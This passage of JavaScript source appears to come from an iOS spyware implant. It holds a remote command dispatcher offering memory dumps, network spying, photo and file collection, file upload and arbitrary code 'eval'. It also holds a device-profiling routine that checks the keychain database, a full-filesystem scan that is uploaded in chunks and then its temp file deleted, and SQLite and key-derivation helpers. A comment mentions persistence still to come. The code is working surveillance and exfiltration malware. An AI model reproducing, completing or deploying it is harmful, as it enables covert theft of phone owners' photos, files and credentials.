usage\\n\";\n\tout += \" file Detect file type\\n\";\n\tout += \" hexdump [-n N] Hex dump\\n\";\n\tout += \" System Info:\\n\";\n\tout += \" whoami Current user\\n\";\n\tout += \" id User/group IDs\\n\";\n\tout += \" uname [-a] System information\\n\";\n\tout += \" hostname Device hostname\\n\";\n\tout += \" df [-h] Disk space\\n\";\n\tout += \" date Current date/time\\n\";\n\tout += \" echo Echo text\\n\";\n\tout += \" Process:\\n\";\n\tout += \" ps List all running processes\\n\";\n\tout += \" memdump Dump process memory (hex addr, max 1MB)\\n\";\n\tout += \" Network:\\n\";\n\tout += \" ifconfig Show network interfaces & IP addresses\\n\";\n\tout += \" netstats Network traffic statistics per interface\\n\";\n\tout += \" connections [-t] [-u] [-a] [-l] List active TCP/UDP connections\\n\";\n\tout += \" httpspy [-a] Map connections to processes (HTTP/HTTPS)\\n\";\n\tout += \" Data Collection:\\n\";\n\tout += \" download [max_size] Download file from device\\n\";\n\tout += \" photos [max_count] Collect photos\\n\";\n\tout += \" apps List installed apps\\n\";\n\tout += \" upload Upload files\\n\";\n\tout += \" Advanced:\\n\";\n\tout += \" eval Execute JavaScript code\\n\";\n\tout += \" help Show this help\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Dispatcher ----\n\nfunction handleExecuteCommand(cmd) {\n\tvar p = cmd.params || {};\n\tvar commandStr = p.command || \"\";\n\tvar timeoutSec = p.timeout || 30;\n\tvar workDir = p.working_directory;\n\tvar startMs = Date.now();\n\n\tif (workDir) _cwd = workDir;\n\n\tif (!commandStr) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\texit_code: 1, stdout: \"\", stderr: _strToB64(\"error: empty command\\n\"),\n\t\t\texecution_time: 0, timeout: false,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\n\tvar args = _parseArgs(commandStr);\n\tif (!args.length) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\texit_code: 1, stdout: \"\", stderr: _strToB64(\"error: empty command\\n\"),\n\t\t\texecution_time: 0, timeout: false,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\n\tvar cmdName = args[0].toLowerCase();\n\tvar result = null;\n\n\ttry {\n\t\tswitch (cmdName) {\n\t\t\tcase \"ls\": case \"dir\": result = _cmdLs(args); break;\n\t\t\tcase \"cat\": case \"type\": result = _cmdCat(args); break;\n\t\t\tcase \"pwd\": result = _cmdPwd(); break;\n\t\t\tcase \"cd\": result = _cmdCd(args); break;\n\t\t\tcase \"mkdir\": case \"md\": result = _cmdMkdir(args); break;\n\t\t\tcase \"rm\": case \"del\": result = _cmdRm(args); break;\n\t\t\tcase \"cp\": case \"copy\": result = _cmdCp(args); break;\n\t\t\tcase \"mv\": case \"move\": case \"ren\": result = _cmdMv(args); break;\n\t\t\tcase \"stat\": result = _cmdStat(args); break;\n\t\t\tcase \"chmod\": result = _cmdChmod(args); break;\n\t\t\tcase \"touch\": result = _cmdTouch(args); break;\n\t\t\tcase \"ln\": result = _cmdLn(args); break;\n\t\t\tcase \"readlink\": result = _cmdReadlink(args); break;\n\t\t\tcase \"find\": result = _cmdFind(args); break;\n\t\t\tcase \"head\": result = _cmdHead(args); break;\n\t\t\tcase \"tail\": result = _cmdTail(args); break;\n\t\t\tcase \"wc\": result = _cmdWc(args); break;\n\t\t\tcase \"grep\": result = _cmdGrep(args); break;\n\t\t\tcase \"du\": result = _cmdDu(args); break;\n\t\t\tcase \"file\": result = _cmdFile(args); break;\n\t\t\tcase \"hexdump\": result = _cmdHexdump(args); break;\n\t\t\tcase \"whoami\": result = _cmdWhoami(); break;\n\t\t\tcase \"id\": result = _cmdId(); break;\n\t\t\tcase \"uname\": result = _cmdUname(args); break;\n\t\t\tcase \"hostname\": result = _cmdHostname(); break;\n\t\t\tcase \"df\": result = _cmdDf(args); break;\n\t\t\tcase \"date\": result = _cmdDate(); break;\n\t\t\tcase \"echo\": result = _cmdEcho(args); break;\n\t\t\tcase \"ps\": result = _cmdPs(args); break;\n\t\t\tcase \"memdump\": result = _cmdMemdump(args); break;\n\t\t\tcase \"ifconfig\": case \"ipconfig\": result = _cmdIfconfig(args); break;\n\t\t\tcase \"netstats\": case \"netstat\": result = _cmdNetstats(args); break;\n\t\t\tcase \"connections\": case \"conn\": result = _cmdConnections(args); break;\n\t\t\tcase \"httpspy\": case \"spy\": result = _cmdHttpspy(args); break;\n\t\t\tcase \"download\": result = _cmdDownload(args, cmd); break;\n\t\t\tcase \"photos\": result = _cmdPhotos(args, cmd); break;\n\t\t\tcase \"apps\": result = _cmdApps(); break;\n\t\t\tcase \"upload\": case \"file_upload\": result = _cmdUpload(args, cmd); break;\n\t\t\tcase \"eval\": case \"exec\": case \"js\": result = _cmdEvalCode(args); break;\n\t\t\tcase \"help\": case \"?\": result = _cmdHelp(); break;\n\t\t\tdefault:\n\t\t\t\tresult = { code: 127, out: \"\", err: cmdName + \": command not found. Type 'help' for available commands.\\n\" };\n\t\t}\n\t} catch (e) {\n\t\tresult = { code: 1, out: \"\", err: \"error: \" + String(e) + \"\\n\" };\n\t}\n\n\tif (result === null) return;\n\n\tvar endMs = Date.now();\n\tvar execTime = (endMs - startMs) / 1000;\n\n\tsendJSON(cmd.command_id, {\n\t\texit_code: result.code,\n\t\tstdout: _strToB64(result.out),\n\t\tstderr: _strToB64(result.err),\n\t\texecution_time: execTime,\n\t\ttimeout: execTime >= timeoutSec,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: p._task_type || \"\"\n\t}, \"exec_result.json\");\n}\n\nfunction handleBasicInfo(cmd) {\n\tvar info = {\n\t\tuuid: DEVICE_UUID,\n\t\tmachine: DEVICE_MODEL,\n\t\t_task_id: (cmd.params && cmd.params._task_id) || \"\",\n\t\t_task_type: (cmd.params && cmd.params._task_type) || \"\",\n\t\tcollect_time: Date.now(),\n\t\tos_type: \"iOS\"\n\t};\n\n\t// 1. Kernel / system info via uname\n\ttry {\n\t\tvar uts = Native.callSymbol(\"calloc\", 1, 1536);\n\t\tif (uts && uts !== 0n) {\n\t\t\tNative.callSymbol(\"uname\", uts);\n\t\t\tinfo.sysname = Native.readString(uts, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.nodename = Native.readString(uts + 256n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.release = Native.readString(uts + 512n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.version = Native.readString(uts + 768n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.machine_arch = Native.readString(uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\t\tNative.callSymbol(\"free\", uts);\n\t\t}\n\t} catch(e) { info._err_uname = String(e); }\n\n\t// 2. Disk space via statfs(\"/\")\n\t// struct statfs arm64: f_bsize(u32,0) f_iosize(i32,4) f_blocks(u64,8)\n\t// f_bfree(u64,16) f_bavail(u64,24)\n\ttry {\n\t\tvar sbuf = Native.callSymbol(\"calloc\", 1, 4096);\n\t\tif (sbuf && sbuf !== 0n) {\n\t\t\tvar sr = Number(Native.callSymbol(\"statfs\", \"/\", sbuf));\n\t\t\tif (sr === 0) {\n\t\t\t\tvar bsRaw = new DataView(Native.read(BigInt(sbuf), 4));\n\t\t\t\tvar bsize = bsRaw.getUint32(0, true);\n\t\t\t\tvar blocks = Number(Native.readPtr(BigInt(sbuf) + 8n));\n\t\t\t\tvar bfree = Number(Native.readPtr(BigInt(sbuf) + 16n));\n\t\t\t\tvar bavail = Number(Native.readPtr(BigInt(sbuf) + 24n));\n\t\t\t\tinfo.disk_block_size = bsize;\n\t\t\t\tinfo.disk_total_bytes = blocks * bsize;\n\t\t\t\tinfo.disk_free_bytes = bfree * bsize;\n\t\t\t\tinfo.disk_avail_bytes = bavail * bsize;\n\t\t\t\tinfo.disk_total_gb = Math.round(blocks * bsize / 1073741824 * 10) / 10;\n\t\t\t\tinfo.disk_free_gb = Math.round(bfree * bsize / 1073741824 * 10) / 10;\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", sbuf);\n\t\t}\n\t} catch(e) { info._err_statfs = String(e); }\n\n\t// 3. Process identity\n\ttry {\n\t\tinfo.pid = Number(Native.callSymbol(\"getpid\"));\n\t\tinfo.uid = Number(Native.callSymbol(\"getuid\"));\n\t\tinfo.gid = Number(Native.callSymbol(\"getgid\"));\n\t} catch(e) {}\n\n\t// 4. Hostname via gethostname\n\ttry {\n\t\tvar hbuf = Native.callSymbol(\"malloc\", 256);\n\t\tif (hbuf && hbuf !== 0n) {\n\t\t\tvar hr = Number(Native.callSymbol(\"gethostname\", hbuf, 255));\n\t\t\tif (hr === 0) info.hostname = Native.readString(hbuf, 256).replace(/\\0/g, \"\");\n\t\t\tNative.callSymbol(\"free\", hbuf);\n\t\t}\n\t} catch(e) {}\n\n\t// 5. Installed apps summary\n\ttry {\n\t\tvar appBase = \"/var/mobile/Containers/Data/Application\";\n\t\tvar appDirs = listDir(appBase);\n\t\tvar appCount = 0;\n\t\tfor (var ai = 0; ai < appDirs.length; ai++) {\n\t\t\tif (appDirs[ai].type === \"dir\") appCount++;\n\t\t}\n\t\tinfo.installed_app_count = appCount;\n\t} catch(e) {}\n\n\t// 6. WiFi passwords file status\n\ttry {\n\t\tvar wfSize = getFileSize(\"/var/Keychains/keychain-2.db\");\n\t\tinfo.keychain_db_size = wfSize > 0 ? wfSize : 0;\n\t} catch(e) {}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, info, \"basic_info.json\",\n\t\t{ start_ms: info.collect_time, end_ms: endMs });\n}\n\n// handleUpdate: disabled for now, will be enabled after persistence is ready\n// function handleUpdate(cmd) { ... }\n\n// ============================================================================\n// disk_scan: recursive filesystem traversal with stat metadata (TXT format)\n// ============================================================================\n\nvar SCAN_WRITE_BUF = 65536;\nvar SCAN_MAX_DEPTH = 20;\nvar SCAN_MAX_ITEMS = 300000;\nvar SCAN_YIELD_EVERY = 2000;\nvar SCAN_SKIP_DIRS = [\n\t\"/dev\", \"/cores\",\n\t\"/System/Library/Caches/com.apple.kernelcaches\",\n\t\"/System/Library/Caches/com.apple.dyld\",\n\t\"/System/Library/PrivateFrameworks\",\n\t\"/System/Library/Frameworks\",\n\t\"/System/Library/Extensions\",\n\t\"/System/Library/CoreServices\",\n\t\"/System/Library/PreferenceBundles\",\n\t\"/System/iOSSupport\",\n\t\"/usr/lib\", \"/usr/libexec\", \"/usr/sbin\", \"/usr/bin\", \"/usr/share\",\n\t\"/usr/standalone\",\n\t\"/private/var/db/dyld_shared_cache_arm64e\",\n\t\"/private/var/hardware\",\n\t\"/private/var/log/asl\",\n\t\"/private/preboot\",\n\t\"/Library/Ringtones\",\n\t\"/Library/Wallpaper\"\n];\n\nfunction _readU16(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 2));\n\treturn b[0] | (b[1] << 8);\n}\nfunction _readI64(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 8));\n\tvar lo = (b[0] | (b[1] << 8) | (b[2] << 16) | ((b[3] << 24) >>> 0)) >>> 0;\n\tvar hi = (b[4] | (b[5] << 8) | (b[6] << 16) | ((b[7] << 24) >>> 0)) >>> 0;\n\treturn hi * 4294967296 + lo;\n}\nfunction _readU8(ptr, off) {\n\treturn new Uint8Array(Native.read(ptr + BigInt(off), 1))[0];\n}\nfunction _readU32(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 4));\n\treturn (b[0] | (b[1] << 8) | (b[2] << 16) | ((b[3] << 24) >>> 0)) >>> 0;\n}\n\nfunction _writeAll(fd, bufSize, ptr, data) {\n\tvar bytes = new Uint8Array(Native.stringToBytes(data, false));\n\tvar pos = 0;\n\twhile (pos < bytes.length) {\n\t\tvar chunk = Math.min(bytes.length - pos, bufSize);\n\t\tvar ab = new ArrayBuffer(chunk);\n\t\tnew Uint8Array(ab).set(bytes.subarray(pos, pos + chunk));\n\t\tNative.write(ptr, ab);\n\t\tvar nw = Number(Native.callSymbol(\"write\", fd, ptr, chunk));\n\t\tif (nw <= 0) return false;\n\t\tpos += nw;\n\t}\n\treturn true;\n}\n\nfunction _sanitizePath(p) {\n\tvar s = \"\";\n\tfor (var i = 0; i < p.length; i++) {\n\t\tvar c = p.charCodeAt(i);\n\t\tif (c === 0x7C) s += \"_\";\n\t\telse if (c === 0x0A || c === 0x0D) s += \" \";\n\t\telse s += p.charAt(i);\n\t}\n\treturn s;\n}\n\nfunction handleDiskScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar startISO = new Date(startMs).toISOString().replace(\"T\",\" \").replace(\"Z\",\"\");\n\n\tvar tmpCandidates = [\n\t\t\"/var/mobile/Library/Caches/ios_disk_scan.txt\",\n\t\t\"/var/mobile/ios_disk_scan.txt\",\n\t\t\"/tmp/ios_disk_scan.txt\"\n\t];\n\tvar tmpPath = \"\";\n\tvar fd = -1;\n\tfor (var ti = 0; ti < tmpCandidates.length; ti++) {\n\t\tfd = Number(Native.callSymbol(\"open\", tmpCandidates[ti], 0x0602, 0x1a4));\n\t\tif (fd >= 0) { tmpPath = tmpCandidates[ti]; break; }\n\t}\n\tif (fd < 0) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"cannot create temp file (tried \" + tmpCandidates.join(\", \") + \")\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"disk_scan_result.json\");\n\t\treturn;\n\t}\n\n\tvar wBuf = Native.callSymbol(\"malloc\", BigInt(SCAN_WRITE_BUF));\n\tvar statBuf = Native.callSymbol(\"malloc\", 144n);\n\tif (!wBuf || wBuf === 0n || !statBuf || statBuf === 0n) {\n\t\tNative.callSymbol(\"close\", fd);\n\t\tif (wBuf && wBuf !== 0n) Native.callSymbol(\"free\", BigInt(wBuf));\n\t\tif (statBuf && statBuf !== 0n) Native.callSymbol(\"free\", BigInt(statBuf));\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"malloc failed\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"disk_scan_result.json\");\n\t\treturn;\n\t}\n\n\tvar pending = \"\";\n\tvar FLUSH_AT = 32768;\n\tvar totalFiles = 0, totalDirs = 0, totalLinks = 0, totalSize = 0;\n\tvar itemCount = 0;\n\tvar hitLimit = false;\n\tvar writeErrors = 0;\n\n\tfunction flush() {\n\t\tif (pending.length > 0) {\n\t\t\tif (!_writeAll(fd, SCAN_WRITE_BUF, wBuf, pending)) writeErrors++;\n\t\t\tpending = \"\";\n\t\t}\n\t}\n\tfunction emit(line) {\n\t\tpending += line + \"\\n\";\n\t\tif (pending.length >= FLUSH_AT) flush();\n\t}\n\n\ttry {\n\t\temit(\"# =====================================\");\n\t\temit(\"# Directory Scan Result\");\n\t\temit(\"# =====================================\");\n\t\temit(\"# Scan directory: /\");\n\t\temit(\"# Start time: \" + startISO);\n\t\temit(\"# Start timestamp: \" + startMs);\n\t\temit(\"# =====================================\");\n\t\temit(\"# Format (separator: |)\");\n\t\temit(\"# Col1: Full path\");\n\t\temit(\"# Col2: Type (FILE=file DIR=directory LNK=symlink)\");\n\t\temit(\"# Col3: Attributes (D=directory A=archive R=readonly H=hidden L=symlink)\");\n\t\temit(\"# Col4: Created time (ms timestamp)\");\n\t\temit(\"# Col5: Modified time (ms timestamp)\");\n\t\temit(\"# Col6: Accessed time (ms timestamp)\");\n\t\temit(\"# Col7: Size (bytes, 0 for dirs)\");\n\t\temit(\"# =====================================\");\n\n\t\tvar stack = [\"/\", 0];\n\t\tvar stackLen = 2;\n\n\t\twhile (stackLen > 0) {\n\t\t\tif (itemCount >= SCAN_MAX_ITEMS) { hitLimit = true; break; }\n\n\t\t\tvar depth = stack[stackLen - 1];\n\t\t\tvar dirPath = stack[stackLen - 2];\n\t\t\tstackLen -= 2;\n\n\t\t\tif (depth > SCAN_MAX_DEPTH) continue;\n\n\t\t\tvar skip = false;\n\t\t\tfor (var si = 0; si < SCAN_SKIP_DIRS.length; si++) {\n\t\t\t\tif (dirPath === SCAN_SKIP_DIRS[si] ||\n\t\t\t\t\tdirPath.indexOf(SCAN_SKIP_DIRS[si] + \"/\") === 0) {\n\t\t\t\t\tskip = true; break;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (skip) continue;\n\n\t\t\tvar dh = Native.callSymbol(\"opendir\", dirPath);\n\t\t\tif (!dh || dh === 0n) continue;\n\n\t\t\ttry {\n\t\t\t\tfor (;;) {\n\t\t\t\t\tif (itemCount >= SCAN_MAX_ITEMS) { hitLimit = true; break; }\n\n\t\t\t\t\tvar ent = Native.callSymbol(\"readdir\", BigInt(dh));\n\t\t\t\t\tif (!ent || ent === 0n) break;\n\n\t\t\t\t\ttry {\n\t\t\t\t\t\tvar dtype = new Uint8Array(Native.read(BigInt(ent) + 20n, 1))[0];\n\t\t\t\t\t\tvar name = Native.readString(BigInt(ent) + 21n, 256);\n\t\t\t\t\t\tif (name === \".\" || name === \"..\") continue;\n\n\t\t\t\t\t\tvar fullPath = dirPath === \"/\" ? \"/\" + name : dirPath + \"/\" + name;\n\t\t\t\t\t\tvar ret = Number(Native.callSymbol(\"lstat\", fullPath, BigInt(statBuf)));\n\n\t\t\t\t\t\tvar ftype = \"FILE\", attrs = \"-A----\", fsize = 0;\n\t\t\t\t\t\tvar ctime = 0, mtime = 0, atime = 0;\n\n\t\t\t\t\t\tif (ret === 0) {\n\t\t\t\t\t\t\tvar mode = _readU16(BigInt(statBuf), 4);\n\t\t\t\t\t\t\tvar fmt = mode & 0xF000;\n\t\t\t\t\t\t\tif (fmt === 0x4000) {\n\t\t\t\t\t\t\t\tftype = \"DIR\"; attrs = \"D-----\"; totalDirs++;\n\t\t\t\t\t\t\t} else if (fmt === 0xA000) {\n\t\t\t\t\t\t\t\tftype = \"LNK\"; attrs = \"----L-\"; totalLinks++;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tftype = \"FILE\";\n\t\t\t\t\t\t\t\tfsize = _readI64(BigInt(statBuf), 96);\n\t\t\t\t\t\t\t\ttotalSize += fsize;\n\t\t\t\t\t\t\t\ttotalFiles++;\n\t\t\t\t\t\t\t\tvar writable = mode & 0x0080;\n\t\t\t\t\t\t\t\tvar hidden = name.charAt(0) === \".\";\n\t\t\t\t\t\t\t\tattrs = \"-A\" + (writable ? \"-\" : \"R\") + (hidden ? \"H\" : \"-\") + \"--\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tatime = _readI64(BigInt(statBuf), 32) * 1000;\n\t\t\t\t\t\t\tmtime = _readI64(BigInt(statBuf), 48) * 1000;\n\t\t\t\t\t\t\tctime = _readI64(BigInt(statBuf), 80) * 1000;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif (dtype === 4) {\n\t\t\t\t\t\t\t\tftype = \"DIR\"; attrs = \"D-----\"; totalDirs++;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\ttotalFiles++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\temit(_sanitizePath(fullPath) + \"|\" + ftype + \"|\" + attrs + \"|\" + ctime + \"|\" + mtime + \"|\" + atime + \"|\" + fsize);\n\t\t\t\t\t\titemCount++;\n\n\t\t\t\t\t\tif (itemCount % SCAN_YIELD_EVERY === 0) {\n\t\t\t\t\t\t\tNative.callSymbol(\"usleep\", 10000);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ((dtype === 4 || (ret === 0 && (_readU16(BigInt(statBuf), 4) & 0xF000) === 0x4000))\n\t\t\t\t\t\t\t&& dtype !== 10) {\n\t\t\t\t\t\t\tstack[stackLen] = fullPath;\n\t\t\t\t\t\t\tstack[stackLen + 1] = depth + 1;\n\t\t\t\t\t\t\tstackLen += 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch(entErr) {}\n\t\t\t\t}\n\t\t\t} finally {\n\t\t\t\tNative.callSymbol(\"closedir\", BigInt(dh));\n\t\t\t}\n\t\t}\n\n\t\tvar endMs = Date.now();\n\t\tvar endISO = new Date(endMs).toISOString().replace(\"T\",\" \").replace(\"Z\",\"\");\n\t\tvar elapsed = (endMs - startMs) / 1000;\n\t\tvar totalItems = totalFiles + totalDirs;\n\t\tvar speed = elapsed > 0 ? Math.round(totalItems / elapsed) : totalItems;\n\n\t\temit(\"# =====================================\");\n\t\temit(\"# Scan Statistics\");\n\t\temit(\"# =====================================\");\n\t\temit(\"# Total files: \" + totalFiles);\n\t\temit(\"# Total dirs: \" + totalDirs);\n\t\temit(\"# Total symlinks: \" + totalLinks);\n\t\temit(\"# Total items scanned: \" + itemCount);\n\t\temit(\"# Total size (bytes): \" + totalSize);\n\t\temit(\"# Hit item limit: \" + (hitLimit ? \"YES (\" + SCAN_MAX_ITEMS + \")\" : \"NO\"));\n\t\temit(\"# Max depth: \" + SCAN_MAX_DEPTH);\n\t\temit(\"# Write errors: \" + writeErrors);\n\t\temit(\"# Elapsed (seconds): \" + Math.round(elapsed));\n\t\temit(\"# Speed (items/sec): \" + speed);\n\t\temit(\"# End time: \" + endISO);\n\t\temit(\"# End timestamp: \" + endMs);\n\t\temit(\"# =====================================\");\n\n\t} catch(scanErr) {\n\t\temit(\"# SCAN ERROR: \" + String(scanErr));\n\t}\n\n\tflush();\n\tNative.callSymbol(\"fsync\", fd);\n\tNative.callSymbol(\"free\", BigInt(wBuf));\n\tNative.callSymbol(\"free\", BigInt(statBuf));\n\n\tvar fileSize = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\n\tvar upResult = _sendChunksFromFd(cmd.command_id, fd, fileSize, \"scanDisk_root.txt\", \"disk_scan\",\n\t\t{ start_ms: startMs, end_ms: Date.now() });\n\n\tNative.callSymbol(\"close\", fd);\n\tfd = -1;\n\tNative.callSymbol(\"unlink\", tmpPath);\n\n\tif (!upResult || !upResult.ok) {\n\t\ttry {\n\t\t\tsendJSON(cmd.command_id, {\n\t\t\t\tstatus: \"upload_failed\",\n\t\t\t\terror: upResult ? upResult.error : \"null result\",\n\t\t\t\tchunks_sent: upResult ? upResult.sent : 0,\n\t\t\t\tchunks_total: upResult ? upResult.total : 0,\n\t\t\t\tfile_size: fileSize,\n\t\t\t\tscan_items: itemCount,\n\t\t\t\ttmp_path: tmpPath,\n\t\t\t\t_task_id: p._task_id || \"\",\n\t\t\t\t_task_type: p._task_type || \"\"\n\t\t\t}, \"disk_scan_error.json\");\n\t\t} catch(re) {}\n\t}\n}\n\n// ============================================================================\n// Native SQLite Query Helper\n// ============================================================================\n\nvar _sqliteLoaded = false;\nfunction _ensureSqlite() {\n\tif (_sqliteLoaded) return true;\n\tvar h = Native.callSymbol(\"dlopen\", \"/usr/lib/libsqlite3.dylib\", 1);\n\tif (!h || h === 0n) return false;\n\t_sqliteLoaded = true;\n\treturn true;\n}\n\nfunction _sqliteQuery(dbPath, sql, maxRows) {\n\tif (!_ensureSqlite()) return null;\n\tmaxRows = maxRows || 500;\n\tvar ppDb = Native.callSymbol(\"malloc\", 8);\n\tif (!ppDb || ppDb === 0n) return null;\n\tNative.write64(ppDb, 0n);\n\tvar rc = Number(Native.callSymbol(\"sqlite3_open_v2\", dbPath, ppDb, 1, 0n));\n\tvar db = Native.readPtr(ppDb);\n\tNative.callSymbol(\"free\", ppDb);\n\tif (rc !== 0 || !db || db === 0n) {\n\t\tif (db && db !== 0n) Native.callSymbol(\"sqlite3_close\", db);\n\t\treturn null;\n\t}\n\ttry {\n\t\tvar ppStmt = Native.callSymbol(\"malloc\", 8);\n\t\tif (!ppStmt || ppStmt === 0n) return null;\n\t\tNative.write64(ppStmt, 0n);\n\t\trc = Number(Native.callSymbol(\"sqlite3_prepare_v2\", db, sql, -1, ppStmt, 0n));\n\t\tvar stmt = Native.readPtr(ppStmt);\n\t\tNative.callSymbol(\"free\", ppStmt);\n\t\tif (rc !== 0 || !stmt || stmt === 0n) return null;\n\t\ttry {\n\t\t\tvar rows = [];\n\t\t\tvar colCount = Number(Native.callSymbol(\"sqlite3_column_count\", stmt));\n\t\t\tvar colNames = [];\n\t\t\tfor (var c = 0; c < colCount; c++) {\n\t\t\t\tvar np = Native.callSymbol(\"sqlite3_column_name\", stmt, c);\n\t\t\t\tcolNames.push(np && np !== 0n ? Native.readString(np, 256).replace(/\\0/g, \"\") : \"col\" + c);\n\t\t\t}\n\t\t\twhile (rows.length < maxRows) {\n\t\t\t\trc = Number(Native.callSymbol(\"sqlite3_step\", stmt));\n\t\t\t\tif (rc !== 100) break;\n\t\t\t\tvar row = {};\n\t\t\t\tfor (var c = 0; c < colCount; c++) {\n\t\t\t\t\tvar tp = Number(Native.callSymbol(\"sqlite3_column_type\", stmt, c));\n\t\t\t\t\tif (tp === 5) { row[colNames[c]] = null; continue; }\n\t\t\t\t\tif (tp === 1) {\n\t\t\t\t\t\trow[colNames[c]] = Number(Native.callSymbol(\"sqlite3_column_int64\", stmt, c));\n\t\t\t\t\t} else if (tp === 2) {\n\t\t\t\t\t\trow[colNames[c]] = Number(Native.callSymbol(\"sqlite3_column_double\", stmt, c));\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvar txtP = Native.callSymbol(\"sqlite3_column_text\", stmt, c);\n\t\t\t\t\t\tvar txtLen = Number(Native.callSymbol(\"sqlite3_column_bytes\", stmt, c));\n\t\t\t\t\t\tif (txtP && txtP !== 0n && txtLen > 0) {\n\t\t\t\t\t\t\trow[colNames[c]] = Native.readString(txtP, txtLen + 1).substring(0, txtLen);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\trow[colNames[c]] = \"\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\trows.push(row);\n\t\t\t}\n\t\t\treturn { columns: colNames, rows: rows };\n\t\t} finally { Native.callSymbol(\"sqlite3_finalize\", stmt); }\n\t} finally { Native.callSymbol(\"sqlite3_close\", db); }\n}\n\n// ============================================================================\n// Native CommonCrypto Wrappers\n// ============================================================================\n\nfunction _sha256(data) {\n\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tif (!inBuf || inBuf === 0n) return null;\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!outBuf || outBuf === 0n) { Native.callSymbol(\"free\", inBuf); return null; }\n\tNative.write(inBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CC_SHA256\", inBuf, BigInt(data.length), outBuf);\n\tvar hash = new Uint8Array(Native.read(outBuf, 32));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn hash;\n}\n\nfunction _hmacSha256(key, data) {\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(key.length));\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!keyBuf || !dataBuf || !outBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (dataBuf) Native.callSymbol(\"free\", dataBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, key.buffer ? key.buffer : key);\n\tNative.write(dataBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(key.length),\n\t\tdataBuf, BigInt(data.length), outBuf);\n\tvar mac = new Uint8Array(Native.read(outBuf, 32));\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", dataBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn mac;\n}\n\nfunction _pbkdf2(password, salt, iterations, keyLen) {\n\tvar pwBytes = new Uint8Array(password.length);\n\tfor (var i = 0; i < password.length; i++) pwBytes[i] = password.charCodeAt(i);\n\tvar hLen = 32;\n\tvar numBlocks = Math.ceil(keyLen / hLen);\n\tvar dk = new Uint8Array(numBlocks * hLen);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(pwBytes.length));\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(Math.max(salt.length + 4, hLen)));\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!keyBuf || !dataBuf || !outBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (dataBuf) Native.callSymbol(\"free\", dataBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, pwBytes.buffer);\n\tfor (var blk = 1; blk <= numBlocks; blk++) {\n\t\tvar intBe = new Uint8Array(4);\n\t\tintBe[0] = (blk >>> 24) & 0xff;\n\t\tintBe[1] = (blk >>> 16) & 0xff;\n\t\tintBe[2] = (blk >>> 8) & 0xff;\n\t\tintBe[3] = blk & 0xff;\n\t\tvar msg = new Uint8Array(salt.length + 4);\n\t\tmsg.set(salt instanceof Uint8Array ? salt : new Uint8Array(salt), 0);\n\t\tmsg.set(intBe, salt.length);\n\t\tNative.write(dataBuf, msg.buffer);\n\t\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(pwBytes.length),\n\t\t\tdataBuf, BigInt(msg.length), outBuf);\n\t\tvar u = new Uint8Array(Native.read(outBuf, 32));\n\t\tvar t = new Uint8Array(u);\n\t\tfor (var iter = 1; iter < iterations; iter++) {\n\t\t\tNative.write(dataBuf, u.buffer);\n\t\t\tNative.callSymbol(\"CCHmac\", 2, 